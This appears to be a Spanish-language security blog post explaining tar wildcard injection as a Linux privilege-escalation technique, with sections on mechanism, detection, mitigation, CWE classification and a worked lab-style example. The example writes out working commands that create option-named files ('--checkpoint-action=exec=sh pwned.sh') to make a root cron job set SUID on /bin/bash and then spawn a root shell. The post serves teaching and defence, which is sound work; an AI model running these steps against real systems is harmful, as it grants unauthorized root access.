cd ~/blog

~/vulns/tar-wildcard-injection.md

Tar Wildcard Injection

privesc 18-06-2026
privesctarwildcardLinux

~2 min de lectura


1. Descripción técnica del ataque

Tar Wildcard Injection es una técnica de escalada de privilegios que abusa de comandos que usan un comodín (*) como argumento, típicamente en cronjobs o scripts de backup del estilo:

tar -zcf /var/backups/serve.tgz *

El problema es que el shell expande el * a la lista de archivos del directorio antes de pasarlos al comando. Si un atacante puede crear archivos en ese directorio, puede darles nombres que coincidan con opciones del programa, de modo que tar los interprete como flags en lugar de como ficheros.

tar ofrece las opciones --checkpoint y --checkpoint-action, que permiten ejecutar un comando al alcanzar cierto punto. Creando archivos con esos nombres, se logra ejecución de comandos arbitrarios con los privilegios del proceso que ejecuta tar (normalmente root vía cron):

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh pwned.sh"

La misma idea (inyectar flags vía nombres de archivo) aplica a otros binarios que aceptan comodines, como chown, chmod o rsync (-e).

2. Impacto de la vulnerabilidad

  • Ejecución de comandos como root cuando el tar con comodín lo lanza un cronjob o script privilegiado.
  • Escalada total del sistema, habitualmente otorgando el bit SUID a Bash o lanzando una reverse shell.

3. Historia y evolución

  • La técnica fue popularizada por DefenseCode (Leon Juranic) alrededor de 2014 en su paper sobre wildcard injection.
  • Se mantiene vigente porque los scripts de backup con tar * siguen siendo un patrón muy frecuente, y es un clásico recurrente en CTFs.

4. Factores que la hacen posible

  1. Un proceso privilegiado (cron/script) que ejecuta un comando con comodín * sin acotar.
  2. Que el atacante tenga permiso de escritura en el directorio sobre el que opera el comodín.
  3. Que el binario afectado acepte opciones que ejecuten comandos (como --checkpoint-action en tar).

5. Detección

  • Buscar cronjobs/scripts que usen comodines sin ruta absoluta ni --:
cat /etc/crontab
grep -r "tar" /etc/cron* /opt /usr/local/bin 2>/dev/null
  • Observar la ejecución de procesos de root con pspy:
./pspy64
# CMD: UID=0 ... /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *

6. Mitigación

  1. Evitar comodines en comandos privilegiados; especificar rutas/archivos de forma explícita.
  2. Anteponer -- o usar ./ para que los nombres no se interpreten como opciones (tar -zcf out.tgz -- * no es suficiente por sí solo; preferir listar archivos controlados).
  3. Acotar el directorio y restringir los permisos de escritura sobre las rutas que procesan los backups.
  4. Ejecutar los scripts de backup con el mínimo privilegio necesario.

7. Ejemplo de explotación real

Un cronjob de root ejecuta tar -zcf /var/backups/serve.tgz * dentro de /var/www/html (escribible). Inyectamos los flags de checkpoint para ejecutar un script que da SUID a Bash:

tony@plot:/var/www/html$ cat pwned.sh
#!/bin/bash
chmod u+s /bin/bash

tony@plot:/var/www/html$ chmod +x pwned.sh
tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh pwned.sh"

# tras un minuto:
tony@plot:/var/www/html$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 mar 27  2022 /bin/bash
tony@plot:/var/www/html$ bash -p
bash-5.1# whoami
root

8. Clasificación

  • Tipo: Privilege Escalation / Argument Injection
  • CWE:
    • CWE-88 – Improper Neutralization of Argument Delimiters in a Command (Argument Injection)

9. Resumen

Tar Wildcard Injection abusa de la expansión de * por el shell: creando archivos cuyo nombre imita opciones de tar (--checkpoint, --checkpoint-action), un atacante con escritura en el directorio de backup logra ejecución de comandos como root cuando el cronjob corre. La defensa es evitar comodines en comandos privilegiados y acotar permisos. Relacionado con PATH Hijacking como abuso de cronjobs.

// relacionados